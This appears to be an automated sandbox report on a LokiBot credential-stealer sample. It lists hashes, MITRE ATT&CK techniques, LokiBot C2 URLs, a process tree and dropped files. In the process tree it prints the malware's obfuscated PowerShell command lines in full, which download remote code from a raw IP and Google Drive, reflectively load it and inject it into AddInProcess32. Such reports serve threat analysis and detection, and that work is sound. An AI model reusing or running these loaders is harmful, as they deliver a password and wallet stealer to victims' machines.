lokibot | b8e2fc58afa34cd0e92aa8a763d8cd49e240b47330eb2da9651e04150bd04948

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26-10-2024 02:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b8e2fc58afa34cd0e92aa8a763d8cd49e240b47330eb2da9651e04150bd04948.hta
Size

130KB
MD5

401fa9878282b2404925d1ac2599b7c0
SHA1

876d5ea4b89ef48cd614fc098154e3e2caa176f3
SHA256

b8e2fc58afa34cd0e92aa8a763d8cd49e240b47330eb2da9651e04150bd04948
SHA512

45e2de1e196ae5339df31581bd8e98af094ab461f80269a815f369e51e131a885bb9745c60375aa4c95db75e82d58f799c5ae480ac2aa0b8387baa2aea2d0f63
SSDEEP

96:Eam73bDpMZMY9pMZMUyOX/DJfqMtJNpMZMVx7T:Ea23bDCuY9Cuitht/CuV9T

Score

10^/10

lokibot collection defense_evasion discovery execution spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Extracted

Family

lokibot

http://94.156.177.220/simple/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot
Lokibot family
lokibot

Blocklisted process makes network request 4 IoCs

flow	pid	Process
21	1512	PoWErSHEll.EXE
28	2440	powershell.exe
30	2440	powershell.exe
33	2440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4188	powershell.exe
2440	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
1512	PoWErSHEll.EXE
1448	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	AddInProcess32.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	AddInProcess32.exe
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	AddInProcess32.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
27	drive.google.com
28	drive.google.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2440 set thread context of 4348	2440	powershell.exe	103

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PoWErSHEll.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	PoWErSHEll.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1512	PoWErSHEll.EXE
1512	PoWErSHEll.EXE
1448	powershell.exe
1448	powershell.exe
4188	powershell.exe
4188	powershell.exe
2440	powershell.exe
2440	powershell.exe
2440	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1512	PoWErSHEll.EXE
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	4188	powershell.exe
Token: SeDebugPrivilege	2440	powershell.exe
Token: SeDebugPrivilege	4348	AddInProcess32.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 924 wrote to memory of 1512	924	mshta.exe	85
PID 924 wrote to memory of 1512	924	mshta.exe	85
PID 924 wrote to memory of 1512	924	mshta.exe	85
PID 1512 wrote to memory of 1448	1512	PoWErSHEll.EXE	89
PID 1512 wrote to memory of 1448	1512	PoWErSHEll.EXE	89
PID 1512 wrote to memory of 1448	1512	PoWErSHEll.EXE	89
PID 1512 wrote to memory of 2312	1512	PoWErSHEll.EXE	94
PID 1512 wrote to memory of 2312	1512	PoWErSHEll.EXE	94
PID 1512 wrote to memory of 2312	1512	PoWErSHEll.EXE	94
PID 2312 wrote to memory of 4920	2312	csc.exe	95
PID 2312 wrote to memory of 4920	2312	csc.exe	95
PID 2312 wrote to memory of 4920	2312	csc.exe	95
PID 1512 wrote to memory of 4908	1512	PoWErSHEll.EXE	97
PID 1512 wrote to memory of 4908	1512	PoWErSHEll.EXE	97
PID 1512 wrote to memory of 4908	1512	PoWErSHEll.EXE	97
PID 4908 wrote to memory of 4188	4908	WScript.exe	98
PID 4908 wrote to memory of 4188	4908	WScript.exe	98
PID 4908 wrote to memory of 4188	4908	WScript.exe	98
PID 4188 wrote to memory of 2440	4188	powershell.exe	102
PID 4188 wrote to memory of 2440	4188	powershell.exe	102
PID 4188 wrote to memory of 2440	4188	powershell.exe	102
PID 2440 wrote to memory of 4348	2440	powershell.exe	103
PID 2440 wrote to memory of 4348	2440	powershell.exe	103
PID 2440 wrote to memory of 4348	2440	powershell.exe	103
PID 2440 wrote to memory of 4348	2440	powershell.exe	103
PID 2440 wrote to memory of 4348	2440	powershell.exe	103
PID 2440 wrote to memory of 4348	2440	powershell.exe	103
PID 2440 wrote to memory of 4348	2440	powershell.exe	103
PID 2440 wrote to memory of 4348	2440	powershell.exe	103
PID 2440 wrote to memory of 4348	2440	powershell.exe	103

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	AddInProcess32.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	AddInProcess32.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\b8e2fc58afa34cd0e92aa8a763d8cd49e240b47330eb2da9651e04150bd04948.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:924
- C:\Windows\SysWOW64\WInDOwsPOweRSheLL\V1.0\PoWErSHEll.EXE
  "C:\Windows\SysTeM32\WInDOwsPOweRSheLL\V1.0\PoWErSHEll.EXE" "powErShEll -ex Bypass -Nop -w 1 -c deVICECrEdenTIaLDePlOYMENT.exe ; Iex($(iex('[sYStEm.TexT.eNcODInG]'+[chAr]58+[ChaR]0x3A+'utF8.getsTRinG([systEM.ConvERt]'+[cHAr]58+[ChAr]58+'FrombASE64sTrInG('+[ChaR]0x22+'JGI0bEg4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJFcmRlZklOSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtT24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpsR2dqcHBFLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRFlCbFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwSXlHVnUsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgayxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9JVGloSlJ5WSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJTIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWXdvQmNHT2duaSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGI0bEg4OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc2LjE0MS8zNS9lZHVjYXRpb25hbHRoaW5nc3dpdGhncmVhdGF0dGl0dWRlb25oZXJlLnRJRiIsIiRFTnY6QVBQREFUQVxlZHVjYXRpb25hbHRoaW5nc3dpdGhncmVhdGF0dGl0dWRlb25oZXJlLnZiUyIsMCwwKTtzdGFSVC1zbEVlUCgzKTtzVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxlZHVjYXRpb25hbHRoaW5nc3dpdGhncmVhdGF0dGl0dWRlb25oZXJlLnZiUyI='+[CHAR]0X22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex Bypass -Nop -w 1 -c deVICECrEdenTIaLDePlOYMENT.exe
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1448
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2q4etfym\2q4etfym.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2312
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBD45.tmp" "c:\Users\Admin\AppData\Local\Temp\2q4etfym\CSC341050F6743C43ED892FEA25BD171891.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4920
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\educationalthingswithgreatattitudeonhere.vbS"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4908
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTnY6Q29tU3BlQ1s0LDE1LDI1XS1Kb0luJycpKCAoJzBRYWltYWdlVXJsID0gZjdWaHQnKyd0cHM6Ly8nKydkcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dScrJ3IgZjdWOzBRYXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7MFFhaW1hZ2VCeXRlcyA9IDBRYXdlYkNsaWVudC5Eb3dubG9hZERhdGEoMFFhaW1hZ2VVcmwnKycpOycrJzBRYWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKDBRYWltYWdlQnl0ZXMpOzBRYXN0YXJ0RmxhZyA9IGY3Vjw8QkFTRTY0X1NUQVJUPj5mN1Y7MFFhZW5kRmxhZyA9IGY3Vjw8QkFTRTY0X0VORD4+ZjdWOycrJzBRYXN0YXJ0SW5kZXggPSAwUWFpbWFnJysnZVRleHQuSW5kZXhPZigwUWFzdGFyJysndEZsYWcpOzBRYWVuZEluZGV4ID0nKycgMFFhaW1hZ2VUZXh0LkluZGV4T2YoMFFhZW5kRmxhZyk7MFFhc3RhcnRJbmRleCAtZ2UgMCAtJysnYW5kIDBRYWVuZEluZGV4IC1ndCAwUWFzdGFydEluZGV4OzBRYXN0YXJ0SW5kZXggKz0gMFFhc3RhcnRGbGFnLkxlbmd0aDswUWFiJysnYXNlNjRMZW5ndGggJysnPSAwUWFlbmRJbmRleCAtIDBRYXN0YXJ0SW5kZXg7MCcrJ1FhYmFzZTY0Q29tbWFuZCA9IDBRYWltYWdlVGV4dC5TdWJzdHJpbmcoMFFhc3RhcnRJbmRleCwgMFFhYmFzZScrJzY0TGVuZ3RoKTswUWFiYXNlNjRSZXZlcnNlJysnZCA9IC1qb2luICgwUWFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgWWJJIEZvckVhY2gtT2JqZWN0IHsgMFFhXyB9KVstMS4uLSgwUWFiYXNlNjRDb21tYScrJ25kLkxlbmd0aCldOzBRYWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoMFFhYmFzZTY0UmV2ZXJzZWQpOzBRYWxvYWRlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6JysnTG9hZCgwUWFjb21tYW5kQnl0ZXMpOzBRYXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoZjdWVkFJZjdWKTswUWF2YWlNZXRob2QuSW52b2tlKDBRYW51bGwsIEAoZjdWdHh0LlJSRVBMTVMvNTMvMTQxLjY3MS4zLjI5MS8vOnB0dGhmN1YsIGY3VmRlc2F0aXZhZG9mN1YsIGY3VmRlc2F0aXZhZG9mN1YsIGY3VmRlc2F0aXZhZG9mN1YsIGYnKyc3VkFkZEluUHJvY2VzczMyZjdWLCBmN1ZkZXNhdCcrJ2l2YWRvZjdWLCBmN1ZkZXMnKydhdGl2YWRvZjdWLGY3VmRlc2F0aXZhZG9mN1YsJysnZjdWZGVzYXRpdmFkb2Y3VixmN1ZkZXNhdGknKyd2YWRvZjdWJysnLGY3VmRlc2F0JysnaXZhZG9mN1YsZjdWZGVzYXRpdmFkb2Y3VixmN1YxZjdWLGY3VmRlc2F0aXZhZG9mN1YpKTsnKS5SZXBsQUNFKChbY2hBcl04OStbY2hBcl05OCtbY2hBcl03MyksJ3wnKS5SZXBsQUNFKCdmN1YnLFtTdHJJTkddW2NoQXJdMzkpLlJlcGxBQ0UoKFtjaEFyXTQ4K1tjaEFyXTgxK1tjaEFyXTk3KSwnJCcpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4188
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENv:ComSpeC[4,15,25]-JoIn'')( ('0QaimageUrl = f7Vht'+'tps://'+'drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwu'+'r f7V;0QawebClient = New-Object System.Net.WebClient;0QaimageBytes = 0QawebClient.DownloadData(0QaimageUrl'+');'+'0QaimageText = [System.Text.Encoding]::UTF8.GetString(0QaimageBytes);0QastartFlag = f7V<<BASE64_START>>f7V;0QaendFlag = f7V<<BASE64_END>>f7V;'+'0QastartIndex = 0Qaimag'+'eText.IndexOf(0Qastar'+'tFlag);0QaendIndex ='+' 0QaimageText.IndexOf(0QaendFlag);0QastartIndex -ge 0 -'+'and 0QaendIndex -gt 0QastartIndex;0QastartIndex += 0QastartFlag.Length;0Qab'+'ase64Length '+'= 0QaendIndex - 0QastartIndex;0'+'Qabase64Command = 0QaimageText.Substring(0QastartIndex, 0Qabase'+'64Length);0Qabase64Reverse'+'d = -join (0Qabase64Command.ToCharArray() YbI ForEach-Object { 0Qa_ })[-1..-(0Qabase64Comma'+'nd.Length)];0QacommandBytes = [System.Convert]::FromBase64String(0Qabase64Reversed);0QaloadedAs'+'sembly = [System.Reflection.Assembly]::'+'Load(0QacommandBytes);0QavaiMethod = [dnlib.IO.Home].GetMethod(f7VVAIf7V);0QavaiMethod.Invoke(0Qanull, @(f7Vtxt.RREPLMS/53/141.671.3.291//:ptthf7V, f7Vdesativadof7V, f7Vdesativadof7V, f7Vdesativadof7V, f'+'7VAddInProcess32f7V, f7Vdesat'+'ivadof7V, f7Vdes'+'ativadof7V,f7Vdesativadof7V,'+'f7Vdesativadof7V,f7Vdesati'+'vadof7V'+',f7Vdesat'+'ivadof7V,f7Vdesativadof7V,f7V1f7V,f7Vdesativadof7V));').ReplACE(([chAr]89+[chAr]98+[chAr]73),'|').ReplACE('f7V',[StrING][chAr]39).ReplACE(([chAr]48+[chAr]81+[chAr]97),'$') )"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2440
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        6⤵
        Accesses Microsoft Outlook profiles
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:4348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PoWErSHEll.EXE.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
2af89e937a3973f542d6d9a0ec13aaa9

SHA1
b44fb4f9ef2a82f4289b07f5d71529ab84c5192e

SHA256
36df1e7f3f2679d96bcc4fc223eae6ee1eeb1e2a3c3c80d46a0cb7f358ca31a4

SHA512
3c88975d56d90544302078991f670b9f02971a88d601d91891b77f607e8dd26c4046bd50b935d7f3d7f62b0270bb41bd203d5dea50ea46ac2f93b52f55b2b719

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
5618c05a3168cf2f353c4e623bc9ea8b

SHA1
5d4c9132dd4fae92024f92345294ee9c54106e15

SHA256
493e3c0137f362e1581adcefdc968de41fe43c5fb1e149feadfaa12b830adbf8

SHA512
ec6bb300658b8e28756b9b6c3b6e2a6e057ba6661b0188538f8db2938db42f3ef7139b410af22081a00da41a789fcf709afc9fb36a700a43be5ec31a2c26720a

Download Submit
C:\Users\Admin\AppData\Local\Temp\2q4etfym\2q4etfym.dll

Filesize
3KB

MD5
4b39cdff06b98be916ec5c312208af34

SHA1
49acd3cdd9db91853943a77cebcbbc21d0402d6c

SHA256
08e672d3464c61e3b7f4d6c5657a8b25f534db5f81bd00544caa34438f11415b

SHA512
4d203d6e40cf8c6db17937d2d5b68afacb6ce8d12abed583c188001baecb8a754cb468c1535f1acab4fa885fe144960f8d29c9f407a7cefc2a6ff8b5e6c687dc

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBD45.tmp

Filesize
1KB

MD5
7a86bdf875ee00e18cc49c4b61662aa6

SHA1
1d93febad1ee6b17e9121e075a0652f3590a33b4

SHA256
329d08be9cba77e8dba3922bdd088da4c83eb0a751fbb16547eab5cc90078610

SHA512
4408e88ba80633aa1fdc006c30e7f6a53bd5b588c1ad92c7de1ba55a0e7f2190ee67dc27517cc3f18066ab7d35f0b833021327f4c1bbbe06db898320bd3e198c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pjvh4qca.pco.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4050598569-1597076380-177084960-1000\0f5007522459c86e95ffcc62f32308f1_cca0d105-8260-4611-8c12-bd85a7208b9f

Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4050598569-1597076380-177084960-1000\0f5007522459c86e95ffcc62f32308f1_cca0d105-8260-4611-8c12-bd85a7208b9f

Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
C:\Users\Admin\AppData\Roaming\educationalthingswithgreatattitudeonhere.vbS

Filesize
137KB

MD5
fe9e18e3366ca7ac8c21eb1ce0631d9c

SHA1
51bc2bc37e87e2d64129cad63df697a68ee3b9d6

SHA256
01c6399fc31b4cbfcf8e851ff3ff433d36b46da2577f9230b9c78b2cbf790912

SHA512
7dca4fb22f5f1a6e08f6c993a7b159863b8b1a8898429aed78582641bc2340ce2fbe3e92f6ec5f9d6ec5c74a14009f77ce87602bea7ba59c4ea1e092d5a9f8f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\2q4etfym\2q4etfym.0.cs

Filesize
471B

MD5
465b774d7a1a641088ff65cb56d1755b

SHA1
d65ff3c3ecd67b7da02d199d649abb75a8c64879

SHA256
737ceb1cff20744c7d2eb5139717221cf2c96f10d05d5fffd3d916fd69a6d025

SHA512
665f11dfa5a6a79b89c49724ad1943baea2ea54cb204ef3712abb948218064410b42ee96b29f067fc635bc71ec85295603567bf2e9121d381fa2dfbc6c07ea68

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\2q4etfym\2q4etfym.cmdline

Filesize
369B

MD5
4e3e243a625f18f5eedf04c3709e69df

SHA1
3c841e69dc55cdf0fab78c82c38565b21688bf39

SHA256
ea41ce14968e051eb9b8700fbb3be8f1801635310e2e1029cf659c8c9159e941

SHA512
59de071ee56bd19edf64747670868718a66cd8ae37ccd96f5d85eb99df46b10191fc1bca678405ff86132398890d617efd1a658510ab16cc46a6b3b4e2f6c569

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\2q4etfym\CSC341050F6743C43ED892FEA25BD171891.TMP

Filesize
652B

MD5
ccf22839eb899f8170ecabc1cc1f76e9

SHA1
4dd60ec3bdf1ef0482ee07e5027d43c78a863c9c

SHA256
afc15665b78105da38a7e39650438151dca04ccb6f1246c8262dcea35e7b112f

SHA512
301bfa43d65b68dc6c230745234ebebaa73509fb1e239cafc2f5549921a367490f4ece5d3d20be1859fc3b8b506e188c65ae49b6007f17a99372b2d708d3407f

Download Submit
memory/1448-29-0x0000000007A40000-0x0000000007A72000-memory.dmp

Filesize
200KB

Download
memory/1448-30-0x000000006D910000-0x000000006D95C000-memory.dmp

Filesize
304KB

Download
memory/1448-40-0x0000000006DD0000-0x0000000006DEE000-memory.dmp

Filesize
120KB

Download
memory/1448-41-0x0000000007A80000-0x0000000007B23000-memory.dmp

Filesize
652KB

Download
memory/1448-42-0x00000000081F0000-0x000000000886A000-memory.dmp

Filesize
6.5MB

Download
memory/1448-43-0x0000000007BA0000-0x0000000007BBA000-memory.dmp

Filesize
104KB

Download
memory/1448-44-0x0000000007C00000-0x0000000007C0A000-memory.dmp

Filesize
40KB

Download
memory/1448-45-0x0000000007E30000-0x0000000007EC6000-memory.dmp

Filesize
600KB

Download
memory/1448-46-0x0000000007DA0000-0x0000000007DB1000-memory.dmp

Filesize
68KB

Download
memory/1448-47-0x0000000007DD0000-0x0000000007DDE000-memory.dmp

Filesize
56KB

Download
memory/1448-48-0x0000000007DE0000-0x0000000007DF4000-memory.dmp

Filesize
80KB

Download
memory/1448-49-0x0000000007EF0000-0x0000000007F0A000-memory.dmp

Filesize
104KB

Download
memory/1448-50-0x0000000007E20000-0x0000000007E28000-memory.dmp

Filesize
32KB

Download
memory/1512-71-0x000000007105E000-0x000000007105F000-memory.dmp

Filesize
4KB

Download
memory/1512-5-0x00000000050B0000-0x00000000050D2000-memory.dmp

Filesize
136KB

Download
memory/1512-18-0x0000000006050000-0x000000000606E000-memory.dmp

Filesize
120KB

Download
memory/1512-17-0x0000000005B80000-0x0000000005ED4000-memory.dmp

Filesize
3.3MB

Download
memory/1512-6-0x00000000059A0000-0x0000000005A06000-memory.dmp

Filesize
408KB

Download
memory/1512-65-0x0000000006610000-0x0000000006618000-memory.dmp

Filesize
32KB

Download
memory/1512-0-0x000000007105E000-0x000000007105F000-memory.dmp

Filesize
4KB

Download
memory/1512-72-0x0000000071050000-0x0000000071800000-memory.dmp

Filesize
7.7MB

Download
memory/1512-73-0x0000000007420000-0x0000000007442000-memory.dmp

Filesize
136KB

Download
memory/1512-74-0x00000000083E0000-0x0000000008984000-memory.dmp

Filesize
5.6MB

Download
memory/1512-7-0x0000000005A10000-0x0000000005A76000-memory.dmp

Filesize
408KB

Download
memory/1512-19-0x00000000060A0000-0x00000000060EC000-memory.dmp

Filesize
304KB

Download
memory/1512-4-0x0000000071050000-0x0000000071800000-memory.dmp

Filesize
7.7MB

Download
memory/1512-81-0x0000000071050000-0x0000000071800000-memory.dmp

Filesize
7.7MB

Download
memory/1512-1-0x0000000002750000-0x0000000002786000-memory.dmp

Filesize
216KB

Download
memory/1512-2-0x0000000005270000-0x0000000005898000-memory.dmp

Filesize
6.2MB

Download
memory/1512-3-0x0000000071050000-0x0000000071800000-memory.dmp

Filesize
7.7MB

Download
memory/2440-103-0x0000000007440000-0x00000000074DC000-memory.dmp

Filesize
624KB

Download
memory/2440-102-0x00000000072E0000-0x000000000743A000-memory.dmp

Filesize
1.4MB

Download
